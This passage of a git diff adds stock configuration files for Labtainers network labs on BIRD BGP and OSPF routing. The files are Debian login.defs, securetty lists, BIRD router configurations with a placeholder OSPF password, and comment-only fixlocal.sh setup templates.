SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_system/usr/local/etc/bird.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_system/usr/local/etc/bird.conf new file mode 100644 index 000000000..24a44bee0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/r4/_system/usr/local/etc/bird.conf @@ -0,0 +1,31 @@ +/* + * Route server configuration 20545 + */ + +log "/var/log/bird.log" all; + +define myas = 999; + +protocol device { } + +# The direct protocol is not a real routing protocol. It automatically generates +# direct routes to all network interfaces. Can exist in as many instances as you +# wish if you want to populate multiple routing tables with direct routes. +protocol direct { + disabled; # Disable by default + ipv4; # Connect to default IPv4 table + ipv6; # ... and to default IPv6 table +} + +# The Kernel protocol is not a real routing protocol. Instead of communicating +# with other routers in the network, it performs synchronization of BIRD +# routing tables with the OS kernel. One instance per table. +protocol kernel { + ipv4 { # Connect protocol to IPv4 table by channel + table master4; # Default IPv4 table is master4 + import all; # Import to table, default is import all + export all; # Export to protocol. default is export none + }; +} + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/tap/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/tap/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/tap/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/tap/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/tap/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/tap/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/tap/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/tap/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/tap/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/.~lock.topo.odg# b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/.~lock.topo.odg# new file mode 100644 index 000000000..add9288be --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/.~lock.topo.odg# @@ -0,0 +1 @@ +,mike,Labtainer-dev,11.06.2020 10:21,file:///home/mike/.config/libreoffice/4; \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_system/usr/local/etc/bird.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_system/usr/local/etc/bird.conf new file mode 100644 index 000000000..50eefdc37 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/br/_system/usr/local/etc/bird.conf @@ -0,0 +1,93 @@ +/* + * Route server configuration for 20525 + */ + +log "/var/log/bird.log" all; + +define myas = 20525; + +protocol device { } + +# The direct protocol is not a real routing protocol. It automatically generates +# direct routes to all network interfaces. Can exist in as many instances as you +# wish if you want to populate multiple routing tables with direct routes. +protocol direct { + disabled; # Disable by default + ipv4; # Connect to default IPv4 table + ipv6; # ... and to default IPv6 table +} + +# The Kernel protocol is not a real routing protocol. Instead of communicating +# with other routers in the network, it performs synchronization of BIRD +# routing tables with the OS kernel. One instance per table. +protocol kernel { + ipv4 { # Connect protocol to IPv4 table by channel + table master4; # Default IPv4 table is master4 + import all; # Import to table, default is import all + export all; # Export to protocol. default is export none + }; +} + +# This function excludes weird networks +# rfc1918, class D, class E, too long and too short prefixes +function avoid_martians() +prefix set martians; +{ + martians = [ 169.254.0.0/16+, 172.16.0.0/12+, 192.168.0.0/16+, 10.0.0.0/8+, + 224.0.0.0/4+, 240.0.0.0/4+, 0.0.0.0/32-, 0.0.0.0/0{25,32}, 0.0.0.0/0{0,7} ]; + + # Avoid RFC1918 and similar networks + if net ~ martians then return false; + + return true; +} +# Our AS address allocation. +protocol static STATIC4 { + ipv4 { preference 110; }; + route 202.25.0.0/16 via "eth0"; +} + + +#### +# Protocol template + +template bgp PEERS { + local as myas; + ipv4{ + import filter{ + if ! (avoid_martians()) then reject; + accept; + }; + # Advertise our address allocation. + # No need to advertise our internal subnetworking + export filter{ + if source = RTS_STATIC then accept; else reject; + }; + }; +} + + +#### +# Configuration of BGP peer follows + + +protocol bgp R20515 from PEERS { + description "Member 1 - peer 1"; + neighbor 10.15.0.3 as 20515; +} + + +protocol ospf { + ipv4{ + import all; + # no need to export our subnet usage. + }; + area 0 { + interface "eth0" { + cost 5; + type pointopoint; + hello 5; retransmit 2; wait 10; dead 20; + authentication simple; password "XXXX"; + }; + }; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-ospf/brx/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like 